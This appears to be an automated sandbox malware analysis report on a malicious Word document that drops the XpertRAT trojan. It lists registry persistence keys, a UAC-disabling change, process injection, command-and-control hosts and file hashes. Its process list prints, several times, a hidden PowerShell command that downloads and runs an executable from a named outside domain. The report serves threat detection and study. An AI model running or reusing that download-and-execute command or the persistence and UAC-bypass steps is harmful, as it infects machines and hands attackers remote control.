Malware Analysis Report

2024-10-23 20:10

Sample ID 210916-slchwsgeeq
Target PO sept2116 FRP-SHM.doc
SHA256 39f9e4df37b9d4b3e5ad5df753c9e8c3617472f3cfa778e43ddd822544455788
Tags
xpertrat test evasion persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

39f9e4df37b9d4b3e5ad5df753c9e8c3617472f3cfa778e43ddd822544455788

Threat Level: Known bad

The file PO sept2116 FRP-SHM.doc was found to be: Known bad.

Malicious Activity Summary

xpertrat test evasion persistence rat trojan

UAC bypass

XpertRAT

Process spawned unexpected child process

Windows security bypass

XpertRAT Core Payload

Blocklisted process makes network request

Adds policy Run key to start application

Executes dropped EXE

Downloads MZ/PE file

Loads dropped DLL

Windows security modification

Checks whether UAC is enabled

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in Windows directory

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

Enumerates system info in registry

Checks processor information in registry

Modifies registry class

Suspicious use of WriteProcessMemory

System policy modification

Suspicious use of AdjustPrivilegeToken

NTFS ADS

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-09-16 15:12

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-09-16 15:12

Reported

2021-09-16 15:14

Platform

win7-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

UAC bypass

evasion trojan

Windows security bypass

evasion trojan

XpertRAT

rat xpertrat

XpertRAT Core Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UACDisableNotify = "0" C:\Users\Admin\AppData\Local\Temp\EXCEL.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0 = "C:\\Users\\Admin\\AppData\\Roaming\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe" C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\EXCEL.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 684 set thread context of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 set thread context of 324 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1632 set thread context of 2020 N/A C:\Users\Admin\AppData\Local\Temp\EXCEL.exe C:\Program Files (x86)\Internet Explorer\iexplore.exe

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1316 wrote to memory of 1212 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1212 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1212 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1212 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1212 wrote to memory of 684 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1316 wrote to memory of 1636 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1636 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1636 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1636 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1904 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1904 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1904 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 1904 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1636 wrote to memory of 1748 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1904 wrote to memory of 1796 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1796 wrote to memory of 296 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 296 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 296 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1796 wrote to memory of 296 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 684 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 684 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 684 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 684 wrote to memory of 1980 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1316 wrote to memory of 2016 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 1316 wrote to memory of 2016 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 1316 wrote to memory of 2016 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 1316 wrote to memory of 2016 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 1796 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
PID 684 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\EXCEL.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO sept2116 FRP-SHM.doc"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Windows\SysWOW64\notepad.exe

notepad.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 esetnode32-antiviru.ydns.eu udp
US 192.3.194.242:80 esetnode32-antiviru.ydns.eu tcp
US 192.3.194.242:80 esetnode32-antiviru.ydns.eu tcp
US 8.8.8.8:53 pshmn.com udp
US 69.197.158.18:80 pshmn.com tcp
US 69.197.158.18:80 pshmn.com tcp
US 69.197.158.18:80 pshmn.com tcp
US 8.8.8.8:53 ping.pushmon.com udp
US 8.8.8.8:53 ping.pushmon.com udp
US 8.8.8.8:53 ping.pushmon.com udp
US 69.197.158.18:80 ping.pushmon.com tcp
US 69.197.158.18:80 ping.pushmon.com tcp
US 69.197.158.18:80 ping.pushmon.com tcp
US 8.8.8.8:53 kapasky-antivirus.firewall-gateway.net udp
FR 146.59.132.186:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 146.59.132.186:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 146.59.132.186:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 146.59.132.186:4000 kapasky-antivirus.firewall-gateway.net tcp

Files

memory/1316-52-0x0000000072641000-0x0000000072644000-memory.dmp

memory/1316-53-0x00000000700C1000-0x00000000700C3000-memory.dmp

memory/1316-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1316-55-0x0000000075911000-0x0000000075913000-memory.dmp

memory/1212-56-0x0000000000000000-mapping.dmp

memory/1212-59-0x00000000023E1000-0x00000000023E2000-memory.dmp

memory/1212-58-0x00000000023E0000-0x00000000023E1000-memory.dmp

memory/1212-60-0x00000000023E2000-0x00000000023E4000-memory.dmp

memory/1212-61-0x0000000004B40000-0x0000000005191000-memory.dmp

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/684-63-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/684-66-0x0000000000210000-0x0000000000211000-memory.dmp

memory/1636-68-0x0000000000000000-mapping.dmp

memory/1904-69-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 c76ec9954800eb464c7c885dd79bd4c5
SHA1 5668d6f08b21f614b090372be8e0e82fb4e2a020
SHA256 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc
SHA512 fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 c76ec9954800eb464c7c885dd79bd4c5
SHA1 5668d6f08b21f614b090372be8e0e82fb4e2a020
SHA256 71e0c865d9517d95846934eb8949a3fee2c5fbd867d165e21718ee6aefa8ebdc
SHA512 fba98bc4b3df8e4022f8a5f8397c1b97a0bc34cf2ec6e5afb03a8a70e0f2c8e36adaad61cc91ffe6fe5237b97d07e93652988e4e6110b8aa4c664fd9af85f2cc

memory/684-74-0x0000000004C30000-0x0000000004C31000-memory.dmp

memory/1636-75-0x0000000002310000-0x0000000002F5A000-memory.dmp

memory/1636-76-0x0000000002310000-0x0000000002F5A000-memory.dmp

memory/1904-77-0x0000000002370000-0x0000000002FBA000-memory.dmp

memory/1636-78-0x0000000002310000-0x0000000002F5A000-memory.dmp

memory/1904-80-0x0000000004CA0000-0x0000000004F72000-memory.dmp

memory/1636-79-0x0000000004C40000-0x0000000004F12000-memory.dmp

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/1748-82-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
SHA256 99cbeacdfcb2dd2e6cb5c4e7a2798a77b334c6e606173b55dc2a049d965ee0fd
SHA512 c4e164de556f929870b9e4f9a9daf48871faff4a4c1bd75f8304990272fd74894074904f849978a3a4fd2cfda5ba782f9d6df00d20783ac763ab1e279f7dfe18

memory/1796-84-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 230811e776cb540cbc2a06fe4adaf339
SHA1 d679baca39696f690213099869bf6efc1cc8c560
